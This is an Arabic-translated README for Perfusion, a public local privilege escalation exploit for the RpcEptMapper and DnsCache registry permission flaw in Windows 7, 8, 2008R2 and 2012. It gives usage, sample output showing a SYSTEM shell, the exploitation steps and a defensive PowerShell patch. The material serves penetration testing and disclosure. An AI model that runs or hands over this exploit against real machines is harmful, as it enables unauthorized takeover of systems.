
استغلال ثغرة أذونات مفتاح التسجيل RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)
في ويندوز 7 و ويندوز سيرفر 2008R2 و ويندوز 8 و ويندوز سيرفر 2012، يتم تكوين مفتاح التسجيل لخدمتي RpcEptMapper و DnsCache (فقط 7/2008R2) بأذونات ضعيفة. يمكن لأي مستخدم محلي إنشاء مفتاح فرعي Performance ثم الاستفادة من عدادات أداء ويندوز لتحميل DLL تعسفي في سياق خدمة WMI كـ NT AUTHORITY\SYSTEM (ومن هنا جاء اسم الأداة).
هذه الأداة مخصصة لمساعدة مستشاري الأمن أثناء اختبارات الاختراق. هذا البرنامج مقدم كما هو، ومن المحتمل ألا أقدم أي دعم. ومع ذلك، فقد اختبرته بدقة على ثلاثة أجهزة افتراضية مختلفة لذلك لا ينبغي أن تكون هناك أي مشكلة كبيرة.
لمزيد من المعلومات: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
وفقًا لـ 0patch، تم إصلاح هذه الثغرة جزئيًا مع تحديث ويندوز الصادر في أبريل 2021 (ESU). هذا يعني أن الأجهزة التي تعمل بإصدار محدث من ويندوز 8 / سيرفر 2012 لم تعد قابلة للاستغلال. ومع ذلك، لا يزال ويندوز 7 / سيرفر 2008 R2 عرضة للخطر. ما عليك سوى الاستفادة من مفتاح التسجيل Dnscache بدلاً من RpcEptMapper. لقد قمت بتحديث PoC بحيث يمكنك تحديده يدويًا باستخدام الخيار -k.
⚠️ اقرأ هذا قبل استخدام هذه الأداة ⚠️
خلال مرحلة تطوير هذه الأداة، لاحظت سلوكين مختلفين:
NT AUTHORITY\SYSTEM، وفي هذه الحالة يعمل الاستغلال بشكل جيد تمامًا.NT AUTHORITY\LOCAL SERVICE. في هذه الحالة، تقوم الخدمة بتحميل DLL أثناء انتحال هوية العميل. وتبين أن تصعيد الامتيازات لا يزال ممكنًا على ويندوز 7 (بسبب ثغرة أخرى) ولكن تكلفة التنفيذ لم تكن تستحق الجهد.أنا غير قادر على تفسير هذا الاختلاف لأن كود التحريك الخاص بي كان دائمًا هو نفسه. على أي حال، في كلتا الحالتين، دع الاستغلال يقوم بعمله حتى يتمكن من تنظيف كل شيء عند الانتهاء. إذا فشل الاستغلال، فلا تزال هناك فرصة لنجاحه بعد بضع دقائق أو ساعات.
✔️ إليك ما يجب أن تراه عندما ينجح الاستغلال:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ إليك ما يجب أن تراه عندما يفشل الاستغلال:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
يتكون هذا الحل من مشروعين يحتاجان إلى التجميع بترتيب معين. كل شيء مهيأ مسبقًا، لذا ما عليك سوى اتباع هذه التعليمات البسيطة:
Release / x64Build > Build Solutionيمكنك التحقق من رسالة المساعدة باستخدام الخيار -h.
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
إصدارات ويندوز التالية عرضة للخطر:
| إصدار ويندوز | مفاتيح التسجيل المعرضة للخطر |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
على حد علمي، لن تقوم مايكروسوفت بإصلاح هذه الثغرة لسبب ما. الحل الأفضل لا يزال هو الترقية إلى ويندوز 10 / سيرفر 2019 ولكن إذا لم يكن هذا خيارًا قصير المدى، فلا يزال بإمكانك تصحيح هذه المشكلة بنفسك عن طريق إزالة إذن CreateSubKey لكل من NT AUTHORITY\Authenticated Users و BUILTIN\Users على مفاتيح التسجيل التالية:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheلقد أنشأت تصحيحًا لهذه الثغرة على شكل سكريبت PowerShell: RegistryPatch.ps1. يقوم هذا السكريبت بإزالة حق CreateSubKey على مفتاحي التسجيل المذكورين أعلاه للهويات التالية: NT AUTHORITY\INTERACTIVE و BUILTIN\Users و/أو BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
فيما يلي خطوات الاستغلال المطبقة في هذه الأداة:
Temp الخاص بالمستخدم الحالي.Performance تحت HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper وتعبئته بالقيم المناسبة، بما في ذلك المسار الكامل لـ DLL الذي تم إنشاؤه في الخطوة 2.Win32_Perf لتحفيز جمع عدادات أداء ويندوز.NT AUTHORITY\SYSTEM أو NT AUTHORITY\LOCAL SERVICE.NT AUTHORITY\SYSTEM، يتم نسخ توكنه وتطبيقه على العملية التي أنشأها المستخدم في الخطوة 1.